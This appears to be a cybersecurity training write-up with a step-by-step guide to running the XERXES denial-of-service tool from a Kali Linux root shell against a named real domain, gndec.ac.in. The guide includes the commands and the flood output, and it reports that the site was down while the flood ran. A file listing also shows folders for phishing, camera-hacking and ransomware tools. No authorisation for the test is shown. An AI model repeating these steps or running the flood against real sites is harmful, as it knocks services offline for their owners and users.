

CYBERSECURITY TRAINING

(Week 2 - Day 4)

1.1 Practical implementation of DoS Attack

Step_1 : First enter in root by command `sudo su` then list the files by the command `ls`.

```
(kali㉿kali)-[~]  
$ sudo su  
[sudo] password for kali:  
(root㉿kali)-[/home/kali]  
# ls  
abc-01.cap      abc-01.kismet.netxml  CamPhish  Downloads  HACK-CAMERA  Pictures  src  Videos  
abc-01.csv      abc-01.log.csv        Desktop    gndec      khushi.txt   prabnoor.txt  Templates  XERXES  
abc-01.kismet.csv  bhavneet.txt          Documents  GonnaCry   Music        Public      Tools    zphisher
```

Step 2 : Enter in the XERXES file then send bots for DoS attack by command `./xerxes website name port no.`

```
(root@kali)-[/home/kali]
# XERXES

(root@kali)-[/home/kali/XERXES]
# ./xerxes gndec.ac.in 80
```

Step 3: Bots are sent continuously .

```
(root@kali)-[/home/kali/XERXES]
# ./xerxes gndec.ac.in 80
[Connected → gndec.ac.in:80]
[0: Voly Sent]
[Connected → gndec.ac.in:80]
[0: Voly Sent]
[Connected → gndec.ac.in:80]
[0: Voly Sent]
[Connected → gndec.ac.in:80]
[0: Voly Sent]
[Connected → gndec.ac.in:80]
[0: Voly Sent]
[Connected → gndec.ac.in:80]
[0: Voly Sent]
[1: Voly Sent]
[Connected → gndec.ac.in:80]
[Connected → gndec.ac.in:80]
[1: Voly Sent]
[0: Voly Sent]
[Connected → gndec.ac.in:80]
[0: Voly Sent]
```

Step 4 : Till the bots were sent, the website server was down but as soon as the bots were stopped the site server was restored.

```
[0: Voly Sent]
[0: Voly Sent]
[0: Voly Sent]
[0: Voly Sent]
[0: Voly Sent]
[Connected → gndec.ac.in:80]
[Connected → gndec.ac.in:80]
[5: Voly Sent]
[6: Voly Sent]
^C

(root@kali)-[/home/kali/XERXES]
#
```